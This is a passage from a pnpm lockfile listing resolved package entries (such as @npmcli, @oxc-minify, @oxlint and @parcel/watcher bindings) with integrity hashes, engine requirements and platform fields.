'>= 8'}\n\n  '@nodelib/fs.walk@1.2.8':\n    resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==}\n    engines: {node: '>= 8'}\n\n  '@npmcli/arborist@6.5.1':\n    resolution: {integrity: sha512-cdV8pGurLK0CifZRilMJbm2CZ3H4Snk8PAqOngj5qmgFLjEllMLvScSZ3XKfd+CK8fo/hrPHO9zazy9OYdvmUg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    hasBin: true\n\n  '@npmcli/fs@2.1.2':\n    resolution: {integrity: sha512-yOJKRvohFOaLqipNtwYB9WugyZKhC/DZC4VYPmpaCzDBrA8YpK3qHZ8/HGscMnE4GqbkLNuVcCnxkeQEdGt6LQ==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n\n  '@npmcli/fs@3.1.1':\n    resolution: {integrity: sha512-q9CRWjpHCMIh5sVyefoD1cA7PkvILqCZsnSOEUUivORLjxCO/Irmue2DprETiNgEqktDBZaM1Bi+jrarx1XdCg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/git@4.1.0':\n    resolution: {integrity: sha512-9hwoB3gStVfa0N31ymBmrX+GuDGdVA/QWShZVqE0HK2Af+7QGGrCTbZia/SW0ImUTjTne7SP91qxDmtXvDHRPQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/installed-package-contents@2.1.0':\n    resolution: {integrity: sha512-c8UuGLeZpm69BryRykLuKRyKFZYJsZSCT4aVY5ds4omyZqJ172ApzgfKJ5eV/r3HgLdUYgFVe54KSFVjKoe27w==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    hasBin: true\n\n  '@npmcli/map-workspaces@3.0.6':\n    resolution: {integrity: sha512-tkYs0OYnzQm6iIRdfy+LcLBjcKuQCeE5YLb8KnrIlutJfheNaPvPpgoFEyEFgbjzl5PLZ3IA/BWAwRU0eHuQDA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/metavuln-calculator@5.0.1':\n    resolution: {integrity: sha512-qb8Q9wIIlEPj3WeA1Lba91R4ZboPL0uspzV0F9uwP+9AYMVB2zOoa7Pbk12g6D2NHAinSbHh6QYmGuRyHZ874Q==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/move-file@2.0.1':\n    resolution: {integrity: sha512-mJd2Z5TjYWq/ttPLLGqArdtnC74J6bOzg4rMDnN+p1xTacZ2yPRCk2y0oSWQtygLR9YVQXgOcONrwtnk3JupxQ==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n    deprecated: This functionality has been moved to @npmcli/fs\n\n  '@npmcli/name-from-folder@2.0.0':\n    resolution: {integrity: sha512-pwK+BfEBZJbKdNYpHHRTNBwBoqrN/iIMO0AiGvYsp3Hoaq0WbgGSWQR6SCldZovoDpY3yje5lkFUe6gsDgJ2vg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/node-gyp@3.0.0':\n    resolution: {integrity: sha512-gp8pRXC2oOxu0DUE1/M3bYtb1b3/DbJ5aM113+XJBgfXdussRAsX0YOrOhdd8WvnAR6auDBvJomGAkLKA5ydxA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/package-json@4.0.1':\n    resolution: {integrity: sha512-lRCEGdHZomFsURroh522YvA/2cVb9oPIJrjHanCJZkiasz1BzcnLr3tBJhlV7S86MBJBuAQ33is2D60YitZL2Q==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/promise-spawn@6.0.2':\n    resolution: {integrity: sha512-gGq0NJkIGSwdbUt4yhdF8ZrmkGKVz9vAdVzpOfnom+V8PLSmSOVhZwbNvZZS1EYcJN5hzzKBxmmVVAInM6HQLg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/query@3.1.0':\n    resolution: {integrity: sha512-C/iR0tk7KSKGldibYIB9x8GtO/0Bd0I2mhOaDb8ucQL/bQVTmGoeREaFj64Z5+iCBRf3dQfed0CjJL7I8iTkiQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@npmcli/run-script@6.0.2':\n    resolution: {integrity: sha512-NCcr1uQo1k5U+SYlnIrbAh3cxy+OQT1VtqiAbxdymSlptbzBb62AjH2xXgjNCoP073hoa1CfCAcwoZ8k96C4nA==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  '@oclif/core@4.5.6':\n    resolution: {integrity: sha512-FmmA6a2+GwhRtULNB9G+YZp2Whi/mgCjNC1EaHGMEztnlM4Je3wRmbAraucSsHsycSgihnm2MtcmudI+8xo8Lw==}\n    engines: {node: '>=18.0.0'}\n\n  '@one-ini/wasm@0.1.1':\n    resolution: {integrity: sha512-XuySG1E38YScSJoMlqovLru4KTUNSjgVTIjyh7qMX6aNN5HY5Ct5LhRJdxO79JtTzKfzV/bnWpz+zquYrISsvw==}\n\n  '@oxc-minify/binding-android-arm64@0.105.0':\n    resolution: {integrity: sha512-/jsiC6tiFsv0yexjvnsWTGxzhGDLLB10GIa6pIND4vokpxGRx9VjUM3+3/1BtNIZC9yAXfu4ToCcgUoJl8gyOw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [android]\n\n  '@oxc-minify/binding-darwin-arm64@0.105.0':\n    resolution: {integrity: sha512-LObym7L2Pv8QOVrTwagES3ND3ae2l6cmf64S+dku7+FvwXy7kGGySuSGlQjJky+FB4iXor+fEFaeHF5IJzCwmQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@oxc-minify/binding-darwin-x64@0.105.0':\n    resolution: {integrity: sha512-L5D1u6yDSnDfZDKF2cM5PEAlWI/GjvpqryPMnNZtYKluXngNQBy1Egt3/Vq8m9GyWRcwoTzpMbibWDFXdfV8Hw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [darwin]\n\n  '@oxc-minify/binding-freebsd-x64@0.105.0':\n    resolution: {integrity: sha512-H68IINjPH32ImUYILQupeobTwz0ibNIG8CTvQK/09eqWmx7pJ8rqsOBE1RaORZe0F0GvQC+g4RUkmMvYSDEY7A==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@oxc-minify/binding-linux-arm-gnueabihf@0.105.0':\n    resolution: {integrity: sha512-KcFS2Ym1+T+CXXrLGDBm2z5SKSGjRPfcc5P6jaOOq1NVS3zdbgyuBjhVXfmo1a9RpYmMG77soO0AaOSxU64M2A==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm]\n    os: [linux]\n\n  '@oxc-minify/binding-linux-arm64-gnu@0.105.0':\n    resolution: {integrity: sha512-Rb8R/k0wbZB+EPXjhskCfrkJklPFKXJlXMgbtYMW1lJD8MmaoIHXgkVHCZefTJSmS+FCWSU7oM9KfoDd1elqxw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-minify/binding-linux-arm64-musl@0.105.0':\n    resolution: {integrity: sha512-RBny7iOlRx5xhILoUEhrVoq8KXnXZ1EyKzVsXNlt4dTpmX21HNEYzrkJ1yP0ToC/EAD+QJqdI//RgQVKqzA2Iw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxc-minify/binding-linux-riscv64-gnu@0.105.0':\n    resolution: {integrity: sha512-/Toed74W32AyofZqwNeahovBntCB9pzsODR66rZgxLn5lRP518H3pwBsDukU20JJS3KnJCr3pq++b0KHGWnKkg==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [riscv64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-minify/binding-linux-s390x-gnu@0.105.0':\n    resolution: {integrity: sha512-hkfVHPFGdkccRwusV+VjCZY8fPo3eyaTxBQSlXLjEU4kwMTxZRzJYqM0znQVBAWFY3jsv5XCp/TMqlFBP9FgoA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [s390x]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-minify/binding-linux-x64-gnu@0.105.0':\n    resolution: {integrity: sha512-2v7OftnK4nVIUl/aEHgiLfo6DCzuoxDGcWie6Kp+6KN/p8mT9xkaszYFUfWDqGLmoP98ZYmvV1dxsKkvI6Qgww==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-minify/binding-linux-x64-musl@0.105.0':\n    resolution: {integrity: sha512-dvE0HS/mc3Lm9Tc0/QLxEaRk9clbbixCAUhOl217J7LIBSDshnPxFgVvhJbF6+PMKC/PlgbG55tdVnSw65UbLw==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxc-minify/binding-openharmony-arm64@0.105.0':\n    resolution: {integrity: sha512-kfyzXQeyklma1aEylXoeG2iLaAhJw/AkgsvtHcGTBcVIdwGWOEGIkIOoJj2WdqiLN7aKziVrzSlyv6JYrOAl+w==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [openharmony]\n\n  '@oxc-minify/binding-wasm32-wasi@0.105.0':\n    resolution: {integrity: sha512-1oGdYedbrHKSrQv99n3BEj0iJGSmREcX0Npx3Zgv9BcI5+4HSJ7HVdVOATRz1fXNBGg39jjzgptty0R+d5xKbQ==}\n    engines: {node: '>=14.0.0'}\n    cpu: [wasm32]\n\n  '@oxc-minify/binding-win32-arm64-msvc@0.105.0':\n    resolution: {integrity: sha512-A5i7umncQmUEgnnT8sFCVL0cysMlr8QzcPA55JoIcKfwJ53BR+T2+QZAhP9m2HRGhoX19PuUkcyZsRQc+vWCjg==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [arm64]\n    os: [win32]\n\n  '@oxc-minify/binding-win32-x64-msvc@0.105.0':\n    resolution: {integrity: sha512-z41QCv51V49l03+uFIrjyjrUh1x6QnQ/ZJxo3sCVp+SiOzrq8vj1Ikj4TUoDMOUKUDQyGRtshhM7PselmjKRDA==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n    cpu: [x64]\n    os: [win32]\n\n  '@oxc-project/runtime@0.101.0':\n    resolution: {integrity: sha512-t3qpfVZIqSiLQ5Kqt/MC4Ge/WCOGrrcagAdzTcDaggupjiGxUx4nJF2v6wUCXWSzWHn5Ns7XLv13fCJEwCOERQ==}\n    engines: {node: ^20.19.0 || >=22.12.0}\n\n  '@oxc-project/types@0.101.0':\n    resolution: {integrity: sha512-nuFhqlUzJX+gVIPPfuE6xurd4lST3mdcWOhyK/rZO0B9XWMKm79SuszIQEnSMmmDhq1DC8WWVYGVd+6F93o1gQ==}\n\n  '@oxc-project/types@0.103.0':\n    resolution: {integrity: sha512-bkiYX5kaXWwUessFRSoXFkGIQTmc6dLGdxuRTrC+h8PSnIdZyuXHHlLAeTmOue5Br/a0/a7dHH0Gca6eXn9MKg==}\n\n  '@oxc-resolver/binding-android-arm-eabi@11.10.0':\n    resolution: {integrity: sha512-qvSSjeeBvYh3KlpMwDbLr0m/bmEfEzaAv2yW4RnYDGrsFVgTHlNc3WzQSji0+Bf2g3kLgyZ5pwylaJpS9baUIA==}\n    cpu: [arm]\n    os: [android]\n\n  '@oxc-resolver/binding-android-arm64@11.10.0':\n    resolution: {integrity: sha512-rjiCqkhH1di5Sb/KpOmuC/1OCGZVDdUyVIxxPsmzkdgrTgS6Of5cwOHTBVNxXuVdlIMz0swN8wrmqUM9jspPAQ==}\n    cpu: [arm64]\n    os: [android]\n\n  '@oxc-resolver/binding-darwin-arm64@11.10.0':\n    resolution: {integrity: sha512-qr2+vw0BKxZVuaw3Ssbzfe0999FYs5BkKqezP8ocwYE9pJUC4hNlWUWhGLDxj0tBSjMEFvWQNF7IxCeZk6nzKw==}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@oxc-resolver/binding-darwin-x64@11.10.0':\n    resolution: {integrity: sha512-2XFEd89yVnnkk7u0LACdXsiHDN3rMthzcdSHj2VROaItiAW6qfKy+SJwLK94lYCVv9nFjxJUVHiVJUsKIn70tQ==}\n    cpu: [x64]\n    os: [darwin]\n\n  '@oxc-resolver/binding-freebsd-x64@11.10.0':\n    resolution: {integrity: sha512-EHapmlf+bg92Pf3+0E0nYSKQgQ5u2V++KXB0WTushFJSU+k6gXEL/P/y1QwKqzJ986Q14YWHh7IiT/nQvpaz4Q==}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@oxc-resolver/binding-linux-arm-gnueabihf@11.10.0':\n    resolution: {integrity: sha512-NhSAeelg0EU4ymM8XrUfGJL74jBHs2Q3WdVbXIve+ROge0UAB7yXpk40u7quIOmbyqAEUp/QPlhtEmWc+lWcPg==}\n    cpu: [arm]\n    os: [linux]\n\n  '@oxc-resolver/binding-linux-arm-musleabihf@11.10.0':\n    resolution: {integrity: sha512-9rjZigo5/92O3jayjucIdhhq4eJBgf61K9UZZF1r1uoIhS4i0wz7W29gMWkCVYbwZAfkHxfmTn3zu8Vv34NvUQ==}\n    cpu: [arm]\n    os: [linux]\n\n  '@oxc-resolver/binding-linux-arm64-gnu@11.10.0':\n    resolution: {integrity: sha512-73pz+sYfPfMzl8OVdjsWJXu5LO868LBpy8M/a/m4a7HUREwBz1/CK59ifxhbIkIeAv2ZkhwKiouFxsKmCsQRrw==}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-resolver/binding-linux-arm64-musl@11.10.0':\n    resolution: {integrity: sha512-s8AMNkiguFn2XJtnAaSHl+ak97Zwkq6biouUNuApDRZh34ckAjWxPTQRhUZLCFybNxgZtwVbglVQv0BJYieIXg==}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxc-resolver/binding-linux-ppc64-gnu@11.10.0':\n    resolution: {integrity: sha512-70eHfsX9Xw+wGqmwFhlIxT/LhzGDlnI4ECQ7w0VLZsYpAUjRiQPUQCDKkfP65ikzHPSLeY8pARKVIc2gdC0HEA==}\n    cpu: [ppc64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-resolver/binding-linux-riscv64-gnu@11.10.0':\n    resolution: {integrity: sha512-geibi+L5hKmDwZ9iLEUzuvRG4o6gZWB8shlNBLiKnGtYD5SMAvCcJiHpz1Sf6ESm8laXjiIf6T/pTZZpaeStyw==}\n    cpu: [riscv64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-resolver/binding-linux-riscv64-musl@11.10.0':\n    resolution: {integrity: sha512-oL1B0jGu9vYoQKyJiMvjtuxDzmV9P8M/xdu6wjUjvaGC/gIwvhILzlHgD3SMtFJJhzLVf4HPmYAF7BsLWvTugA==}\n    cpu: [riscv64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxc-resolver/binding-linux-s390x-gnu@11.10.0':\n    resolution: {integrity: sha512-Sj6ooR4RZ+04SSc/iV7oK8C2TxoWzJbD5yirsF64ULFukTvQHz99ImjtwgauBUnR+3loyca3s6o8DiAmqHaxAw==}\n    cpu: [s390x]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-resolver/binding-linux-x64-gnu@11.10.0':\n    resolution: {integrity: sha512-wH5nPRgIaEhuOD9M70NujV91FscboRkNf38wKAYiy9xuKeVsc43JzFqvmgxU1vXsKwUJBc/qMt4nFNluLXwVzw==}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxc-resolver/binding-linux-x64-musl@11.10.0':\n    resolution: {integrity: sha512-rDrv1Joh6hAidV/hixAA1+6keNr1aJA3rUU6VD8mqTedbUMV1CdQJ55f9UmQZn0nO35tQvwF0eLBNmumErCNLw==}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxc-resolver/binding-wasm32-wasi@11.10.0':\n    resolution: {integrity: sha512-VE+fuYPMqObhwEoLOUp9UgebrMFBBCuvCBY+auk+o3bFWOYXLpvCa5PzC4ttF7gOotQD/TWqbVWtfOh0CdBSHw==}\n    engines: {node: '>=14.0.0'}\n    cpu: [wasm32]\n\n  '@oxc-resolver/binding-win32-arm64-msvc@11.10.0':\n    resolution: {integrity: sha512-M70Fr5P1SnQY4vm7ZTeodE27mDV6zqxLkQMHF4t43xt55dIFIlHiRTgCzykiI9ggan3M1YWffLeB97Q3X2yxSg==}\n    cpu: [arm64]\n    os: [win32]\n\n  '@oxc-resolver/binding-win32-ia32-msvc@11.10.0':\n    resolution: {integrity: sha512-UJfRwzXAAIduNJa0cZlwT8L8eAOSX85VfKQ0i0NCJWNjwFzjeeOpvd/vNXMd1jmYU22a8fulFX3k8AzdwI7wYw==}\n    cpu: [ia32]\n    os: [win32]\n\n  '@oxc-resolver/binding-win32-x64-msvc@11.10.0':\n    resolution: {integrity: sha512-Q8gwXHjDeEokECEFCECkJW1OEOEgfFUGoLZs88jDpZ/QmdBklH/SbMLKJdYeIPztQ6HD069GAVPnP3WcXyHoUA==}\n    cpu: [x64]\n    os: [win32]\n\n  '@oxfmt/darwin-arm64@0.20.0':\n    resolution: {integrity: sha512-bjR5dqvrd9gxKYfYR0ljUu3/T3+TuDVWcwA7d+tsfmx9lqidlw3zhgBTblnjF1mrd1zkPMoc5zzq86GeSEt1cA==}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@oxfmt/darwin-x64@0.20.0':\n    resolution: {integrity: sha512-esUDes8FlJX3IY4TVjFLgZrnZlIIyPDlhkCaHgGR3+z2eHFZOvQu68kTSpZLCEJmGXdSpU5rlveycQ6n8tk9ew==}\n    cpu: [x64]\n    os: [darwin]\n\n  '@oxfmt/linux-arm64-gnu@0.20.0':\n    resolution: {integrity: sha512-irE0RO9B0R6ziQE6kUVZtZ6IuTdRyuumn1cPWhDfpa0XUa5sE0ly8pjVsvJbj/J9qerVtidU05txeXBB5CirQg==}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxfmt/linux-arm64-musl@0.20.0':\n    resolution: {integrity: sha512-eXPBLwYJm26DCmwMwhelEwQMRwuGNaYhYZOhd+CYYsmVoF+h6L6dtjwj0Ovuu0Gqh18EL8vfsaoUvb+jr3vEBg==}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxfmt/linux-x64-gnu@0.20.0':\n    resolution: {integrity: sha512-dTPW38Hjgb7LoD2mNgyQGBaJ1hu5YgPrxImhl5Eb04eiws+ETCM0wrb2TWGduA+Nv3rHKn3vZEkMTEjklZXgRw==}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxfmt/linux-x64-musl@0.20.0':\n    resolution: {integrity: sha512-b4duw9JGDK/kZoqrPNU9tBOOZQdUW8KJPZ7gW7z54X1eGSqCJ1PT0XLNmZ7SOA1BzQwQ0a3qmQWfFVOsH3a5bw==}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxfmt/win32-arm64@0.20.0':\n    resolution: {integrity: sha512-XAzvBhw4K+Fe16dBaFgYAdob9WaM8RYEXl0ibbm5NlNaQEq+5bH9xwc0oaYlHFnLfcgXWmn9ceTAYqNlONQRNA==}\n    cpu: [arm64]\n    os: [win32]\n\n  '@oxfmt/win32-x64@0.20.0':\n    resolution: {integrity: sha512-fkJqHbJaoOMRmrjHSljyb4/7BgXO3xPLBsJSFGtm3mpfW0HHFbAKvd4/6njhqJz9KY+b3RWP1WssjFshcqQQ4w==}\n    cpu: [x64]\n    os: [win32]\n\n  '@oxlint-tsgolint/darwin-arm64@0.11.0':\n    resolution: {integrity: sha512-F67T8dXgYIrgv6wpd52fKQFdmieSOHaxBkscgso64YdtEHrV3s52ASiZGNzw62TKihn9Ox9ek3PYx9XsxIJDUw==}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@oxlint-tsgolint/darwin-x64@0.11.0':\n    resolution: {integrity: sha512-z44LO7+3z2mtcBxA9T66yEy/otp/2r5ypbkx7EYlPwbEqBAIDRt/8hqQ9/BUC//1qE549P1cBU6NjhgeyuXjYQ==}\n    cpu: [x64]\n    os: [darwin]\n\n  '@oxlint-tsgolint/linux-arm64@0.11.0':\n    resolution: {integrity: sha512-IeIjmpPi2j2Dn1CRizGikysyLp9B0q3jqiAalv9ewRyb8hqQW5YeMlsswo8pHd0Hz3KyFfone0NkvBt77Ex2pg==}\n    cpu: [arm64]\n    os: [linux]\n\n  '@oxlint-tsgolint/linux-x64@0.11.0':\n    resolution: {integrity: sha512-fpYGYU2pXjaXYnKgWrihFXE8zJiTRjYKSHAaBaVI056oqKjKGEoU2BfFbddpBrKgz9TmSOX/NGftrJnyMn1wXQ==}\n    cpu: [x64]\n    os: [linux]\n\n  '@oxlint-tsgolint/win32-arm64@0.11.0':\n    resolution: {integrity: sha512-37nzks9eqBt7NYE6okquu51vaqMruF5voX475L16Y8asJVCGpO/2VSy3ulYAXhZ+5Kdc8ZgrljVViJOjfPEPaA==}\n    cpu: [arm64]\n    os: [win32]\n\n  '@oxlint-tsgolint/win32-x64@0.11.0':\n    resolution: {integrity: sha512-TsK4C61+mjmbkUJ3Q3E9Ev3VFbeI6prPEAm9FAOq8VsfUGEiIUBBjrZ8ysGoQXNiU3dCKpmu012ptVUZTk5/eg==}\n    cpu: [x64]\n    os: [win32]\n\n  '@oxlint/darwin-arm64@1.32.0':\n    resolution: {integrity: sha512-yrqPmZYu5Qb+49h0P5EXVIq8VxYkDDM6ZQrWzlh16+UGFcD8HOXs4oF3g9RyfaoAbShLCXooSQsM/Ifwx8E/eQ==}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@oxlint/darwin-x64@1.32.0':\n    resolution: {integrity: sha512-pQRZrJG/2nAKc3IuocFbaFFbTDlQsjz2WfivRsMn0hw65EEsSuM84WMFMiAfLpTGyTICeUtHZLHlrM5lzVr36A==}\n    cpu: [x64]\n    os: [darwin]\n\n  '@oxlint/linux-arm64-gnu@1.32.0':\n    resolution: {integrity: sha512-tyomSmU2DzwcTmbaWFmStHgVfRmJDDvqcIvcw4fRB1YlL2Qg/XaM4NJ0m2bdTap38gxD5FSxSgCo0DkQ8GTolg==}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxlint/linux-arm64-musl@1.32.0':\n    resolution: {integrity: sha512-0W46dRMaf71OGE4+Rd+GHfS1uF/UODl5Mef6871pMhN7opPGfTI2fKJxh9VzRhXeSYXW/Z1EuCq9yCfmIJq+5Q==}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxlint/linux-x64-gnu@1.32.0':\n    resolution: {integrity: sha512-5+6myVCBOMvM62rDB9T3CARXUvIwhGqte6E+HoKRwYaqsxGUZ4bh3pItSgSFwHjLGPrvADS11qJUkk39eQQBzQ==}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@oxlint/linux-x64-musl@1.32.0':\n    resolution: {integrity: sha512-qwQlwYYgVIC6ScjpUwiKKNyVdUlJckrfwPVpIjC9mvglIQeIjKuuyaDxUZWIOc/rEzeCV/tW6tcbehLkfEzqsw==}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@oxlint/win32-arm64@1.32.0':\n    resolution: {integrity: sha512-7qYZF9CiXGtdv8Z/fBkgB5idD2Zokht67I5DKWH0fZS/2R232sDqW2JpWVkXltk0+9yFvmvJ0ouJgQRl9M3S2g==}\n    cpu: [arm64]\n    os: [win32]\n\n  '@oxlint/win32-x64@1.32.0':\n    resolution: {integrity: sha512-XW1xqCj34MEGJlHteqasTZ/LmBrwYIgluhNW0aP+XWkn90+stKAq3W/40dvJKbMK9F7o09LPCuMVtUW7FIUuiA==}\n    cpu: [x64]\n    os: [win32]\n\n  '@paralleldrive/cuid2@2.2.2':\n    resolution: {integrity: sha512-ZOBkgDwEdoYVlSeRbYYXs0S9MejQofiVYoTbKzy/6GQa39/q5tQU2IX46+shYnUkpEl3wc+J6wRlar7r2EK2xA==}\n\n  '@parcel/watcher-android-arm64@2.5.1':\n    resolution: {integrity: sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm64]\n    os: [android]\n\n  '@parcel/watcher-darwin-arm64@2.5.1':\n    resolution: {integrity: sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm64]\n    os: [darwin]\n\n  '@parcel/watcher-darwin-x64@2.5.1':\n    resolution: {integrity: sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [x64]\n    os: [darwin]\n\n  '@parcel/watcher-freebsd-x64@2.5.1':\n    resolution: {integrity: sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [x64]\n    os: [freebsd]\n\n  '@parcel/watcher-linux-arm-glibc@2.5.1':\n    resolution: {integrity: sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm]\n    os: [linux]\n    libc: [glibc]\n\n  '@parcel/watcher-linux-arm-musl@2.5.1':\n    resolution: {integrity: sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm]\n    os: [linux]\n    libc: [musl]\n\n  '@parcel/watcher-linux-arm64-glibc@2.5.1':\n    resolution: {integrity: sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm64]\n    os: [linux]\n    libc: [glibc]\n\n  '@parcel/watcher-linux-arm64-musl@2.5.1':\n    resolution: {integrity: sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm64]\n    os: [linux]\n    libc: [musl]\n\n  '@parcel/watcher-linux-x64-glibc@2.5.1':\n    resolution: {integrity: sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [x64]\n    os: [linux]\n    libc: [glibc]\n\n  '@parcel/watcher-linux-x64-musl@2.5.1':\n    resolution: {integrity: sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [x64]\n    os: [linux]\n    libc: [musl]\n\n  '@parcel/watcher-win32-arm64@2.5.1':\n    resolution: {integrity: sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [arm64]\n    os: [win32]\n\n  '@parcel/watcher-win32-ia32@2.5.1':\n    resolution: {integrity: sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [ia32]\n    os: [win32]\n\n  '@parcel/watcher-win32-x64@2.5.1':\n    resolution: {integrity: sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==}\n    engines: {node: '>= 10.0.0'}\n    cpu: [x64]\n    os: [win32]\n\n  '@parcel/watcher@2.5.1':\n    resolution: {integrity: sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==}\n    engines: {node: '>= 10.0.0'}\n\n  '@pkgjs/parseargs@0.11.0':\n    resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==}\n    engines: {node: '>=14'}\n\n  '@polka/url@1.0.0-next.29':\n    resolution: {integrity: sha512-wwQAWhWSuHaag8c4q/KN/vCoeOJYshAIvMQwD4GpSb3OiZklFfvAgmj0VCBBImRpuF/aFgIRzllXlVX93Jevww==}\n\n  '@publint/pack@0.1.2':\n    resolution: 